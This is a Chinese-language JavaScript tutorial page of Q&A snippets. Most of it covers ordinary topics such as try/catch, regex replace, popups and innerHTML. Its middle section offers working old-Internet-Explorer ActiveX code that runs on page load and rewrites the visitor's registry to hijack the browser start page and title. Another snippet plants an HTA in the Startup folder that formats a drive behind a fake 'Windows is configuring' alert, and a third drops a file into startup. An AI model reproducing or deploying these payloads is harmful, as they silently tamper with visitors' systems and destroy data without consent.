Javascript网页脚本应用教程之四
如何给文本连接加上提示语言?
英文排版的问题:怎么能让英自动排列整齐?
如何禁止自己的页面在别人的框架里打开?
在打开的子窗口刷新父窗口的代码里如何写?
如何不用图片生…
如何在java script中捕捉错误信息?
HTML 代码片段如下:
<script>
try{
var s=a.b;
}
catch(anError)
{
alert(anError.description);
}
</script>
JS正则表达式replace用法
下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 RegExp
对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,RegExp对象的$属性的名
称。
<SCRIPT LANGUAGE="java script1.2">
re = /(\w+)\s(\w+)/;
str = "John Smith";
newstr=str.replace(re,"$2, $1");
document.write(newstr)
</SCRIPT>
显示结果:"Smith, John".
str.replace(re,"$2, $1");这一句,$2,$1是什么意思?
[font color=blue]下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]
$1, ..., $9属性
用圆括号括着的匹配子串,如果有的话。
是RegExp的属性静态,只读在java script 1.2, NES 3.0以上版本提供描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该属性。
能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的圆括号内的匹配字串,你可以使用返回的数组。
RegExp.$n 保存满足用圆括号括起来的匹配条件的子串$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?
HTML 代码片段如下:
<script>
var reg=/((\w+)\s(\w+))/;
var str='John Smith';
reg.exec(str);
</script>
<button onclick=with(RegExp)alert($1+'\n'+$2+'\n'+$3);>View</button>
如何实现首页全屏幕显示?
HTML 代码片段如下:
<html>
<body><script language="<B>javascript</B>">
var coolw=642
var coolh=400
var coolhuang=window.open
("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,toolbar=0,location=0
,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")
window.close()
</script></body></html>
如何动态改变一个Object对象的样式表风格的Class?
HTML 代码片段如下:
<style>
.btn1{
background-color:#990000;color:#ffffff;
}
</style>
<button onclick="this.className='btn1'">你点我一下我的样式表就改为使用.btn1了</button>
如何用脚本来修改用户系统的注册表?
HTML 代码片段如下:
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX 初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
{
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//设置Cookie完毕
//设置主页
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.51js.com/");
//修改浏览器的标题
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "无忧脚本", "http://www.51js.com");
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>
格式化硬盘的, 把启动菜单下的automat.hta删除即可,这是格式化 a:盘
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\start menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is
configing the system,do not interrupt it!.');</"+"SCRIPT>";
scr.write();
</script>
<HTML>
<HEAD>
<TITLE>
建立文件
</TITLE>
</HEAD>
<BODY>
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>
<SCRIPT LANGUAGE="java script">
a1=document.applets[0];
fn="51js.HTM";
doc="<SCRIPT>s1=\'欢迎你访问无忧脚本!\\请您将在启动文件夹内的51js.com.HTM删除即可\';
alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty('DOC',doc);
}
function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
}
setTimeout("f()",1000)
</SCRIPT>
<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
' 获取com.ms.com.Variant[]
</SCRIPT>
<BR>
</BODY>
</HTML>原理是一样的!
如何监听一个窗口被关闭了?
HTML 代码片段如下:
<body onunload="alert('你关闭了这个窗口')">
什么是innerHTML、outerHTML………还有innerText?
自己用代码来体会一下
HTML 代码片段如下:
<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>
<input type=button onclick=alert(test.innerText) value="show innerText"><br>
<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br>
<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br>